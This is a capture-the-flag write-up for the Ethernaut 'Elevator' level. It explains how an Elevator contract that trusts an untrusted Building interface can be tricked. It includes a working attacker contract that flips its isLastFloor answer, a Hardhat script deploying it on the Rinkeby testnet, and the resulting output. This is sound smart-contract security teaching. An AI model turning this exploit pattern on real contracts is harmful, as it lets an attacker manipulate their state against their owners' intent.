Ethernaut #11 Elevator
Elevator
Challenge
This elevator won’t let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This
Elevatorexpects to be used from aBuilding.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Background
This is a very simple attack. We need to keep in mind that as long as we follow the Building interface then the Elevator can interact with our contract. However, since the Building contract is under the attackers control, there is no limit regarding what else the contract can do.
Attack
Create a contract that satisfies the the Building interface but flips its response each time. Make sure that isLastFloor will respond false the first time, and true the second. This will make the first call that checks if its the top floor say its not, and the second that sets the top variable say it is.
- Create a contract that implements
isLastFloorbut returnsfalsethe first time andtruethe second - Call the
goTofunction through the attacker controlled contract
ElevatorSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
import '../challenges/Elevator.sol';
contract ElevatorSolve {
Elevator elevatorContract;
bool lastFloor;
constructor(address payable _elevatorAddress) public {
elevatorContract = Elevator(_elevatorAddress);
lastFloor = true;
}
function isLastFloor(uint) external returns (bool) {
lastFloor = !lastFloor;
return lastFloor;
}
function goTo (uint _floor) public {
elevatorContract.goTo(_floor);
}
}
elevator-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
elevatorAddress = "0xe8cAdc8eA3A2D55907409cc18a3bB4a71f356379";
contract = await ethers.getContractAt("Elevator", elevatorAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
ElevatorSolve = await ethers.getContractFactory("ElevatorSolve");
elevatorSolve = await ElevatorSolve.deploy(contract.address);
await elevatorSolve.deployed();
console.log("Initial Floor: " + await contract.floor())
console.log("Initial Top : " + await contract.top())
// call the goTo function to trigger the attack
tx = await elevatorSolve.connect(account).goTo(2)
receipt = await tx.wait()
console.log("Floor : " + await contract.floor())
console.log("Top : " + await contract.top())
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/elevator-solve.js --network rinkeby
Initial Floor: 0
Initial Top : false
Floor : 2
Top : true
Success Message
You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state. Make sure you read Solidity’s documentation and learn its caveats.
An alternative way to solve this level is to build a view function which returns different results depends on input data but don’t modify state, e.g. gasleft().